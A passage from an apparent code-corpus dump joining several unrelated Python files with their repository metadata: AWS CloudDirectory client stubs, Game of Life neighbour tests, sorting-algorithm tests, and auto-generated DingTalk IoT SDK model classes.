attribute.\n\n\n\nObjectAttributeAction (dict) --The action to perform as part of the attribute update.\n\nObjectAttributeActionType (string) --A type that can be either Update or Delete .\n\nObjectAttributeUpdateValue (dict) --The value that you want to update to.\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\n\n\n\n\n\n :rtype: dict ReturnsResponse Syntax { 'ObjectIdentifier': 'string' } Response Structure (dict) -- ObjectIdentifier (string) -- The ObjectIdentifier of the updated object. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.FacetValidationException :return: { 'ObjectIdentifier': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.DirectoryNotEnabledException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.LinkNameAlreadyInUseException CloudDirectory.Client.exceptions.FacetValidationException """ pass def update_schema(SchemaArn=None, Name=None): """ Updates the schema name with a new name. Only development schema names can be updated. See also: AWS API Documentation Exceptions :example: response = client.update_schema( SchemaArn='string', Name='string' ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) of the development schema. For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe name of the schema.\n :rtype: dict ReturnsResponse Syntax { 'SchemaArn': 'string' } Response Structure (dict) -- SchemaArn (string) -- The ARN that is associated with the updated schema. For more information, see arns . Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException :return: { 'SchemaArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException """ pass def update_typed_link_facet(SchemaArn=None, Name=None, AttributeUpdates=None, IdentityAttributeOrder=None): """ Updates a TypedLinkFacet . For more information, see Typed Links . See also: AWS API Documentation Exceptions :example: response = client.update_typed_link_facet( SchemaArn='string', Name='string', AttributeUpdates=[ { 'Attribute': { 'Name': 'string', 'Type': 'STRING'|'BINARY'|'BOOLEAN'|'NUMBER'|'DATETIME'|'VARIANT', 'DefaultValue': { 'StringValue': 'string', 'BinaryValue': b'bytes', 'BooleanValue': True|False, 'NumberValue': 'string', 'DatetimeValue': datetime(2015, 1, 1) }, 'IsImmutable': True|False, 'Rules': { 'string': { 'Type': 'BINARY_LENGTH'|'NUMBER_COMPARISON'|'STRING_FROM_SET'|'STRING_LENGTH', 'Parameters': { 'string': 'string' } } }, 'RequiredBehavior': 'REQUIRED_ALWAYS'|'NOT_REQUIRED' }, 'Action': 'CREATE_OR_UPDATE'|'DELETE' }, ], IdentityAttributeOrder=[ 'string', ] ) :type SchemaArn: string :param SchemaArn: [REQUIRED]\nThe Amazon Resource Name (ARN) that is associated with the schema. For more information, see arns .\n :type Name: string :param Name: [REQUIRED]\nThe unique name of the typed link facet.\n :type AttributeUpdates: list :param AttributeUpdates: [REQUIRED]\nAttributes update structure.\n\n(dict) --A typed link facet attribute update.\n\nAttribute (dict) -- [REQUIRED]The attribute to update.\n\nName (string) -- [REQUIRED]The unique name of the typed link attribute.\n\nType (string) -- [REQUIRED]The type of the attribute.\n\nDefaultValue (dict) --The default value of the attribute (if configured).\n\nStringValue (string) --A string data value.\n\nBinaryValue (bytes) --A binary data value.\n\nBooleanValue (boolean) --A Boolean data value.\n\nNumberValue (string) --A number data value.\n\nDatetimeValue (datetime) --A date and time value.\n\n\n\nIsImmutable (boolean) --Whether the attribute is mutable or not.\n\nRules (dict) --Validation rules that are attached to the attribute definition.\n\n(string) --\n(dict) --Contains an Amazon Resource Name (ARN) and parameters that are associated with the rule.\n\nType (string) --The type of attribute validation rule.\n\nParameters (dict) --The minimum and maximum parameters that are associated with the rule.\n\n(string) --\n(string) --\n\n\n\n\n\n\n\n\n\n\nRequiredBehavior (string) -- [REQUIRED]The required behavior of the TypedLinkAttributeDefinition .\n\n\n\nAction (string) -- [REQUIRED]The action to perform when updating the attribute.\n\n\n\n\n :type IdentityAttributeOrder: list :param IdentityAttributeOrder: [REQUIRED]\nThe order of identity attributes for the facet, from most significant to least significant. The ability to filter typed links considers the order that the attributes are defined on the typed link facet. When providing ranges to a typed link selection, any inexact ranges must be specified at the end. Any attributes that do not have a range specified are presumed to match the entire range. Filters are interpreted in the order of the attributes on the typed link facet, not the order in which they are supplied to any API calls. For more information about identity attributes, see Typed Links .\n\n(string) --\n\n :rtype: dict ReturnsResponse Syntax {} Response Structure (dict) -- Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.LimitExceededException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.FacetValidationException CloudDirectory.Client.exceptions.InvalidFacetUpdateException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.FacetNotFoundException CloudDirectory.Client.exceptions.InvalidRuleException :return: {} :returns: (dict) -- """ pass def upgrade_applied_schema(PublishedSchemaArn=None, DirectoryArn=None, DryRun=None): """ Upgrades a single directory in-place using the PublishedSchemaArn with schema updates found in MinorVersion . Backwards-compatible minor version upgrades are instantaneously available for readers on all objects in the directory. Note: This is a synchronous API call and upgrades only one schema on a given directory per call. To upgrade multiple directories from one schema, you would need to call this API on each directory. See also: AWS API Documentation Exceptions :example: response = client.upgrade_applied_schema( PublishedSchemaArn='string', DirectoryArn='string', DryRun=True|False ) :type PublishedSchemaArn: string :param PublishedSchemaArn: [REQUIRED]\nThe revision of the published schema to upgrade the directory to.\n :type DirectoryArn: string :param DirectoryArn: [REQUIRED]\nThe ARN for the directory to which the upgraded schema will be applied.\n :type DryRun: boolean :param DryRun: Used for testing whether the major version schemas are backward compatible or not. If schema compatibility fails, an exception would be thrown else the call would succeed but no changes will be saved. This parameter is optional. :rtype: dict ReturnsResponse Syntax { 'UpgradedSchemaArn': 'string', 'DirectoryArn': 'string' } Response Structure (dict) -- UpgradedSchemaArn (string) -- The ARN of the upgraded schema that is returned as part of the response. DirectoryArn (string) -- The ARN of the directory that is returned as part of the response. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.IncompatibleSchemaException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.SchemaAlreadyExistsException :return: { 'UpgradedSchemaArn': 'string', 'DirectoryArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.IncompatibleSchemaException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.SchemaAlreadyExistsException """ pass def upgrade_published_schema(DevelopmentSchemaArn=None, PublishedSchemaArn=None, MinorVersion=None, DryRun=None): """ Upgrades a published schema under a new minor version revision using the current contents of DevelopmentSchemaArn . See also: AWS API Documentation Exceptions :example: response = client.upgrade_published_schema( DevelopmentSchemaArn='string', PublishedSchemaArn='string', MinorVersion='string', DryRun=True|False ) :type DevelopmentSchemaArn: string :param DevelopmentSchemaArn: [REQUIRED]\nThe ARN of the development schema with the changes used for the upgrade.\n :type PublishedSchemaArn: string :param PublishedSchemaArn: [REQUIRED]\nThe ARN of the published schema to be upgraded.\n :type MinorVersion: string :param MinorVersion: [REQUIRED]\nIdentifies the minor version of the published schema that will be created. This parameter is NOT optional.\n :type DryRun: boolean :param DryRun: Used for testing whether the Development schema provided is backwards compatible, or not, with the publish schema provided by the user to be upgraded. If schema compatibility fails, an exception would be thrown else the call would succeed. This parameter is optional and defaults to false. :rtype: dict ReturnsResponse Syntax { 'UpgradedSchemaArn': 'string' } Response Structure (dict) -- UpgradedSchemaArn (string) -- The ARN of the upgraded schema that is returned as part of the response. Exceptions CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.IncompatibleSchemaException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.LimitExceededException :return: { 'UpgradedSchemaArn': 'string' } :returns: CloudDirectory.Client.exceptions.InternalServiceException CloudDirectory.Client.exceptions.InvalidArnException CloudDirectory.Client.exceptions.RetryableConflictException CloudDirectory.Client.exceptions.ValidationException CloudDirectory.Client.exceptions.IncompatibleSchemaException CloudDirectory.Client.exceptions.AccessDeniedException CloudDirectory.Client.exceptions.ResourceNotFoundException CloudDirectory.Client.exceptions.InvalidAttachmentException CloudDirectory.Client.exceptions.LimitExceededException """ pass

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py

Python

BOReL/environments/mujoco/rand_param_envs/gym/envs/parameter_tuning/__init__.py

hai-h-nguyen/pomdp-baselines

629180d56641810d99653a116cca41ede65172eb

[ "MIT" ]

40

2021-10-15T14:53:00.000Z

2022-03-31T02:27:20.000Z

BOReL/environments/mujoco/rand_param_envs/gym/envs/parameter_tuning/__init__.py

hai-h-nguyen/pomdp-baselines

629180d56641810d99653a116cca41ede65172eb

[ "MIT" ]

1

2022-03-13T04:02:30.000Z

BOReL/environments/mujoco/rand_param_envs/gym/envs/parameter_tuning/__init__.py

hai-h-nguyen/pomdp-baselines

629180d56641810d99653a116cca41ede65172eb

[ "MIT" ]

5

2021-11-28T04:08:13.000Z

2022-03-17T02:33:51.000Z

from environments.mujoco.rand_param_envs.gym.envs.parameter_tuning.convergence import ( ConvergenceControl, ) from environments.mujoco.rand_param_envs.gym.envs.parameter_tuning.train_deep_cnn import ( CNNClassifierTraining, )

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0

7

5bce4c8d17cf5825c4882b9958da62664551b8df

9,600

py

Python

life/test_sparse_set_state.py

freesurfer-rge/simple-life

aab5d11dabb05036bb88569130ebf7493d7d843a

[ "MIT" ]

null

life/test_sparse_set_state.py

freesurfer-rge/simple-life

aab5d11dabb05036bb88569130ebf7493d7d843a

[ "MIT" ]

null

life/test_sparse_set_state.py

freesurfer-rge/simple-life

aab5d11dabb05036bb88569130ebf7493d7d843a

[ "MIT" ]

null

import pytest from typing import List, Set, Tuple from .sparse_set_state import SparseSetState class TestGetNeighboursNoWrap: def check_neighbours( self, actual: List[Tuple[int, int]], expected: Set[Tuple[int, int]] ): assert isinstance(actual, list) # Compare sets, since the neighbour order shouldn't matter assert set(actual) == expected @pytest.mark.parametrize( "cell,expected", [ ((0, 0), {(0, 1), (1, 1), (1, 0)}), ((2, 2), {(1, 2), (1, 1), (2, 1)}), ((0, 2), {(1, 2), (1, 1), (0, 1)}), ((2, 0), {(2, 1), (1, 1), (1, 0)}), ], ids=["(0,0)", "(2,2)", "(0,2)", "(2,0)"], ) def test_get_neighbours_corner(self, cell, expected): # Don't need any active cells target = SparseSetState({}) actual = target.get_neighbours(cell, 3, 3) self.check_neighbours(actual, expected) @pytest.mark.parametrize( "cell, expected", [ ((1, 0), {(0, 0), (0, 1), (1, 1), (2, 1), (2, 0)}), ((0, 1), {(0, 0), (1, 0), (1, 1), (1, 2), (0, 2)}), ((1, 2), {(0, 2), (0, 1), (1, 1), (2, 1), (2, 2)}), ((2, 1), {(2, 0), (1, 0), (1, 1), (1, 2), (2, 2)}), ], ids=["(1,0)", "(0,1)", "(1,2)", "(2,1)"], ) def test_get_neighbours_edge(self, cell, expected): # Don't need any active cells target = SparseSetState({}) actual = target.get_neighbours(cell, 3, 3) self.check_neighbours(actual, expected) def test_get_neighbours_centre(self): # Don't need any active cells target = SparseSetState({}) actual = target.get_neighbours((1, 1), 3, 3) expected = { (0, 0), (0, 1), (0, 2), (1, 0), (1, 2), (2, 0), (2, 1), (2, 2), } self.check_neighbours(actual, expected) class TestGetNeighboursWrap3x3: def check_neighbours( self, actual: List[Tuple[int, int]], expected: Set[Tuple[int, int]] ): assert isinstance(actual, list) # Compare sets, since the neighbour order shouldn't matter assert set(actual) == expected @pytest.mark.parametrize( "cell", [(0, 0), (2, 2), (0, 2), (2, 0)], ids=["(0,0)", "(2,2)", "(0,2)", "(2,0)"], ) def test_get_neighbours_corner(self, cell): nx = 3 ny = 3 # Don't need any active cells target = SparseSetState({}) # With wrapping everything should neighbour everything on a 3x3 expected: Set[Tuple[int, int]] = set() for i in range(nx): for j in range(ny): expected.add((i, j)) expected.discard(cell) actual = target.get_neighbours(cell, nx, ny, x_wrap=True, y_wrap=True) self.check_neighbours(actual, expected) @pytest.mark.parametrize( "cell", [(0, 1), (1, 0), (2, 1), (1, 2)], ids=["(0,1)", "(1,0)", "(2,1)", "(1,2)"], ) def test_get_neighbours_edge(self, cell): nx = 3 ny = 3 # Don't need any active cells target = SparseSetState({}) # With wrapping everything should neighbour everything on a 3x3 expected: Set[Tuple[int, int]] = set() for i in range(nx): for j in range(ny): expected.add((i, j)) expected.discard(cell) actual = target.get_neighbours(cell, nx, ny, x_wrap=True, y_wrap=True) self.check_neighbours(actual, expected) def test_get_neighbours_centre(self): # Don't need any active cells target = SparseSetState({}) actual = target.get_neighbours((1, 1), 3, 3, x_wrap=True, y_wrap=True) expected = { (0, 0), (0, 1), (0, 2), (1, 0), (1, 2), (2, 0), (2, 1), (2, 2), } self.check_neighbours(actual, expected) class TestGetNeighboursWrap5x5: def fetch_neighbours(self, target_cell: Tuple[int, int]): target = SparseSetState({}) neighbours = target.get_neighbours( target_cell, 5, 5, x_wrap=True, y_wrap=True ) return neighbours def check_neighbours( self, actual: List[Tuple[int, int]], expected: Set[Tuple[int, int]] ): assert isinstance(actual, list) assert len(expected) == 8 # With wrapping, always have 8 neighbours assert len(actual) == 8 # Compare sets, since the neighbour order shouldn't matter assert set(actual) == expected def test_check_centre(self): actual = self.fetch_neighbours(target_cell=(2, 2)) expected = { (1, 1), (2, 1), (3, 1), (1, 2), (3, 2), (1, 3), (2, 3), (3, 3), } self.check_neighbours(actual, expected) @pytest.mark.parametrize( "cell,expected", [ ( (2, 1), { (1, 0), (2, 0), (3, 0), (1, 1), (3, 1), (1, 2), (2, 2), (3, 2), }, ), ( (1, 2), { (0, 1), (0, 2), (0, 3), (1, 1), (1, 3), (2, 1), (2, 2), (2, 3), }, ), ( (2, 3), { (1, 2), (2, 2), (3, 2), (1, 3), (3, 3), (1, 4), (2, 4), (3, 4), }, ), ( (3, 2), { (2, 1), (2, 2), (2, 3), (3, 1), (3, 3), (4, 1), (4, 2), (4, 3), }, ), ], ids=["(2,1)", "(1,2)", "(2,3)", "(3,2)"], ) def test_touch_edge(self, cell, expected): actual = self.fetch_neighbours(cell) self.check_neighbours(actual, expected) @pytest.mark.parametrize( "cell,expected", [ ( (2, 0), { (1, 4), (2, 4), (3, 4), (1, 0), (3, 0), (1, 1), (2, 1), (3, 1), }, ), ( (0, 2), { (4, 1), (4, 2), (4, 3), (0, 1), (0, 3), (1, 1), (1, 2), (1, 3), }, ), ( (2, 4), { (1, 3), (2, 3), (3, 3), (1, 4), (3, 4), (1, 0), (2, 0), (3, 0), }, ), ( (4, 2), { (3, 1), (3, 2), (3, 3), (4, 1), (4, 3), (0, 1), (0, 2), (0, 3), }, ), ], ids=["(2,0)", "(0,2)", "(2,4)", "(4,2)"], ) def test_overlap_edge(self, cell, expected): actual = self.fetch_neighbours(cell) self.check_neighbours(actual, expected) @pytest.mark.parametrize( "cell,expected", [ ( (0, 0), { (4, 4), (0, 4), (1, 4), (4, 0), (1, 0), (4, 1), (0, 1), (1, 1), }, ), ( (0, 4), { (4, 3), (0, 3), (1, 3), (4, 4), (1, 4), (4, 0), (0, 0), (1, 0), }, ), ( (4, 0), { (3, 4), (4, 4), (0, 4), (3, 0), (0, 0), (3, 1), (4, 1), (0, 1), }, ), ( (4, 4), { (3, 3), (4, 3), (0, 3), (3, 4), (0, 4), (3, 0), (4, 0), (0, 0), }, ), ], ids=["(0,0)", "(0,4)", "(4,0)", "(4,4)"], ) def test_overlap_corner(self, cell, expected): actual = self.fetch_neighbours(cell) self.check_neighbours(actual, expected)

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1

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0

1

0

null

0

8

5bd0d8b704e199534360d6348b4da93478ee2035

3,162

py

Python

test/test_algs.py

jessicagainesbmi203/example

94aac309e2e8f217edd1d45ffde10b586db0a6a7

[ "Apache-2.0" ]

null

test/test_algs.py

jessicagainesbmi203/example

94aac309e2e8f217edd1d45ffde10b586db0a6a7

[ "Apache-2.0" ]

null

test/test_algs.py

jessicagainesbmi203/example

94aac309e2e8f217edd1d45ffde10b586db0a6a7

[ "Apache-2.0" ]

null

import numpy as np from example import algs def test_pointless_sort(): # generate random vector of length 10 x = np.random.rand(10) # check that pointless_sort always returns [1,2,3] assert np.array_equal(algs.pointless_sort(x), np.array([1,2,3])) # generate a new random vector of length 10 x = np.random.rand(10) # check that pointless_sort still returns [1,2,3] assert np.array_equal(algs.pointless_sort(x), np.array([1,2,3])) def test_bubblesort(): # Actually test bubblesort here. It might be useful to think about # some edge cases for your code, where it might fail. Some things to # think about: (1) does your code handle 0-element arrays without # failing, (2) does your code handle characters? # test odd length x = np.array([1,2,4,0,1]) assert np.array_equal(algs.bubblesort(x)['sorted'],np.array([0,1,1,2,4])) # test even length x = np.array([1,2,4,0]) assert np.array_equal(algs.bubblesort(x)['sorted'], np.array([0,1,2,4])) # test empty vector x = np.array([]) assert np.array_equal(algs.bubblesort(x)['sorted'],np.array([])) # test single element vector x = np.array([7]) assert np.array_equal(algs.bubblesort(x)['sorted'],np.array([7])) # test duplicated elements x = np.array([1,1,1,1]) assert np.array_equal(algs.bubblesort(x)['sorted'],np.array([1,1,1,1])) # test characters x = np.array(['b','d','a','c']) assert np.array_equal(algs.bubblesort(x)['sorted'],np.array(['a','b','c','d'])) def test_quicksort(): # test odd length x = np.array([1,2,4,0,3]) assert np.array_equal(algs.quicksort(x)['sorted'],np.array([0,1,2,3,4])) # test even length x = np.array([1,2,4,0]) assert np.array_equal(algs.quicksort(x)['sorted'], np.array([0,1,2,4])) # test empty vector x = np.array([]) assert np.array_equal(algs.quicksort(x)['sorted'],np.array([])) # test single element vector x = np.array([7]) assert np.array_equal(algs.quicksort(x)['sorted'],np.array([7])) # test duplicated elements x = np.array([1,1,1,1]) #assert np.array_equal(algs.quicksort(x)['sorted'],np.array([1,1,1,1])) # test characters x = np.array(['b','d','a','c']) assert np.array_equal(algs.quicksort(x)['sorted'],np.array(['a','b','c','d'])) def test_insertionsort(): # test odd length x = np.array([1,2,4,0,3]) assert np.array_equal(algs.insertionsort(x)['sorted'],np.array([0,1,2,3,4])) # test even length x = np.array([1,2,4,0]) assert np.array_equal(algs.insertionsort(x)['sorted'], np.array([0,1,2,4])) # test empty vector x = np.array([]) assert np.array_equal(algs.insertionsort(x)['sorted'],np.array([])) # test single element vector x = np.array([7]) assert np.array_equal(algs.insertionsort(x)['sorted'],np.array([7])) # test duplicated elements x = np.array([1,1,1,1]) assert np.array_equal(algs.insertionsort(x)['sorted'],np.array([1,1,1,1])) # test characters x = np.array(['b','d','a','c']) assert np.array_equal(algs.insertionsort(x)['sorted'],np.array(['a','b','c','d']))

39.525

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3,162

80

90

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null

1

0

1

0

1

0

null

0

1

0

10

7506ac14fbe9c06879aae568a17039aa31289a72

108

py

Python

nn4mc/__init__.py

RS-Coop/Correll_Lab

7c9ea0ff0ce3f54848a0eb112ef29b28d8e735e5

[ "MIT" ]

4

2021-05-31T23:49:39.000Z

2022-03-16T12:27:08.000Z

nn4mc/__init__.py

RS-Coop/Correll_Lab

7c9ea0ff0ce3f54848a0eb112ef29b28d8e735e5

[ "MIT" ]

1

2021-10-02T19:51:01.000Z

2022-01-20T21:45:37.000Z

nn4mc/__init__.py

correlllab/nn4mc_py

24fa3f9187f7d89692041b640c48f91c2a77b644

[ "MIT" ]

null

from .analysis import * #Should be available to user from .translator import * #Should be available to user

36

54

0.777778

16

108

5.25

0.5625

0.285714

0.333333

0.547619

0.690476

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108

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true

0

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0

null

0

1

0

1

0

1

0

8

7536ee82020868636edd7b1cf06d76ef865dc693

43,012

py

Python

dingtalk/python/alibabacloud_dingtalk/diot_1_0/models.py

aliyun/dingtalk-sdk

ab4f856b8cfe94f6b69f10a0730a2e5a7d4901c5

[ "Apache-2.0" ]

15

2020-08-27T04:10:26.000Z

2022-03-07T06:25:42.000Z

dingtalk/python/alibabacloud_dingtalk/diot_1_0/models.py

aliyun/dingtalk-sdk

ab4f856b8cfe94f6b69f10a0730a2e5a7d4901c5

[ "Apache-2.0" ]

1

2020-09-27T01:30:46.000Z

2021-12-29T09:15:34.000Z

dingtalk/python/alibabacloud_dingtalk/diot_1_0/models.py

aliyun/dingtalk-sdk

ab4f856b8cfe94f6b69f10a0730a2e5a7d4901c5

[ "Apache-2.0" ]

5

2020-08-27T04:07:44.000Z

2021-12-03T02:55:20.000Z

# -*- coding: utf-8 -*- # This file is auto-generated, don't edit it. Thanks. from Tea.model import TeaModel from typing import Dict, List, Any class BatchDeleteDeviceHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class BatchDeleteDeviceRequest(TeaModel): def __init__( self, corp_id: str = None, device_ids: List[str] = None, ): # 钉钉物联组织ID, 第三方平台必填，企业内部系统忽略。 self.corp_id = corp_id # 设备ID列表，最多500条。 self.device_ids = device_ids def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id if self.device_ids is not None: result['deviceIds'] = self.device_ids return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') if m.get('deviceIds') is not None: self.device_ids = m.get('deviceIds') return self class BatchDeleteDeviceResponseBody(TeaModel): def __init__( self, device_ids: List[str] = None, ): # 成功删除设备ID列表。 self.device_ids = device_ids def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.device_ids is not None: result['deviceIds'] = self.device_ids return result def from_map(self, m: dict = None): m = m or dict() if m.get('deviceIds') is not None: self.device_ids = m.get('deviceIds') return self class BatchDeleteDeviceResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: BatchDeleteDeviceResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = BatchDeleteDeviceResponseBody() self.body = temp_model.from_map(m['body']) return self class PushEventHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class PushEventRequest(TeaModel): def __init__( self, corp_id: str = None, event_id: str = None, event_type: str = None, event_name: str = None, occurrence_time: int = None, device_id: str = None, location: str = None, msg: str = None, pic_urls: List[str] = None, extra_data: Dict[str, Any] = None, ): # 钉钉物联组织ID, 第三方平台必填，企业内部系统忽略。 self.corp_id = corp_id # 事件ID。 self.event_id = event_id # 事件类型，最长20个字符。 self.event_type = event_type # 事件名称，长度4-20个字符，一个中文汉字算2个字符。 self.event_name = event_name # 事件发生事件，Unix时间戳，单位毫秒。 self.occurrence_time = occurrence_time # 触发事件设备ID。 self.device_id = device_id # 事件发生地点。 self.location = location # 事件文字信息。 self.msg = msg # 事件图片地址列表。 self.pic_urls = pic_urls # 第三方平台定制参数，企业内部系统忽略。 self.extra_data = extra_data def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.corp_id is not None: result['corpId'] = self.corp_id if self.event_id is not None: result['eventId'] = self.event_id if self.event_type is not None: result['eventType'] = self.event_type if self.event_name is not None: result['eventName'] = self.event_name if self.occurrence_time is not None: result['occurrenceTime'] = self.occurrence_time if self.device_id is not None: result['deviceId'] = self.device_id if self.location is not None: result['location'] = self.location if self.msg is not None: result['msg'] = self.msg if self.pic_urls is not None: result['picUrls'] = self.pic_urls if self.extra_data is not None: result['extraData'] = self.extra_data return result def from_map(self, m: dict = None): m = m or dict() if m.get('corpId') is not None: self.corp_id = m.get('corpId') if m.get('eventId') is not None: self.event_id = m.get('eventId') if m.get('eventType') is not None: self.event_type = m.get('eventType') if m.get('eventName') is not None: self.event_name = m.get('eventName') if m.get('occurrenceTime') is not None: self.occurrence_time = m.get('occurrenceTime') if m.get('deviceId') is not None: self.device_id = m.get('deviceId') if m.get('location') is not None: self.location = m.get('location') if m.get('msg') is not None: self.msg = m.get('msg') if m.get('picUrls') is not None: self.pic_urls = m.get('picUrls') if m.get('extraData') is not None: self.extra_data = m.get('extraData') return self class PushEventResponseBody(TeaModel): def __init__( self, event_id: str = None, ): # 事件ID。 self.event_id = event_id def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.event_id is not None: result['eventId'] = self.event_id return result def from_map(self, m: dict = None): m = m or dict() if m.get('eventId') is not None: self.event_id = m.get('eventId') return self class PushEventResponse(TeaModel): def __init__( self, headers: Dict[str, str] = None, body: PushEventResponseBody = None, ): self.headers = headers self.body = body def validate(self): self.validate_required(self.headers, 'headers') self.validate_required(self.body, 'body') if self.body: self.body.validate() def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.headers is not None: result['headers'] = self.headers if self.body is not None: result['body'] = self.body.to_map() return result def from_map(self, m: dict = None): m = m or dict() if m.get('headers') is not None: self.headers = m.get('headers') if m.get('body') is not None: temp_model = PushEventResponseBody() self.body = temp_model.from_map(m['body']) return self class DeviceConferenceHeaders(TeaModel): def __init__( self, common_headers: Dict[str, str] = None, x_acs_dingtalk_access_token: str = None, ): self.common_headers = common_headers self.x_acs_dingtalk_access_token = x_acs_dingtalk_access_token def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.common_headers is not None: result['commonHeaders'] = self.common_headers if self.x_acs_dingtalk_access_token is not None: result['x-acs-dingtalk-access-token'] = self.x_acs_dingtalk_access_token return result def from_map(self, m: dict = None): m = m or dict() if m.get('commonHeaders') is not None: self.common_headers = m.get('commonHeaders') if m.get('x-acs-dingtalk-access-token') is not None: self.x_acs_dingtalk_access_token = m.get('x-acs-dingtalk-access-token') return self class DeviceConferenceRequest(TeaModel): def __init__( self, conf_title: str = None, conference_id: str = None, conference_password: str = None, device_ids: List[str] = None, ): # 会议主题，最多不能超20个中文。 self.conf_title = conf_title # 钉钉会议ID，加入已存在的会议必填。 self.conference_id = conference_id # 钉钉会议密码，加入已存在的会议必填。 self.conference_password = conference_password # 需要邀请的设备ID，最多5个。 self.device_ids = device_ids def validate(self): pass def to_map(self): _map = super().to_map() if _map is not None: return _map result = dict() if self.conf_title is not None: result['confTitle'] = self.conf_title if self.conference_id is not None: result['conferenceId'] = self.conference_id if self.conference_password is not None: result['conferencePassword'] = self.conference_password if self.device_ids is not None: result['deviceIds'] = self.device_ids return result def from_map(self, m: dict = None): m = m or dict() if m.get('confTitle') is not None: self.conf_title = m.get('confTitle') if m.get('conferenceId') is not None: self.conference_id = 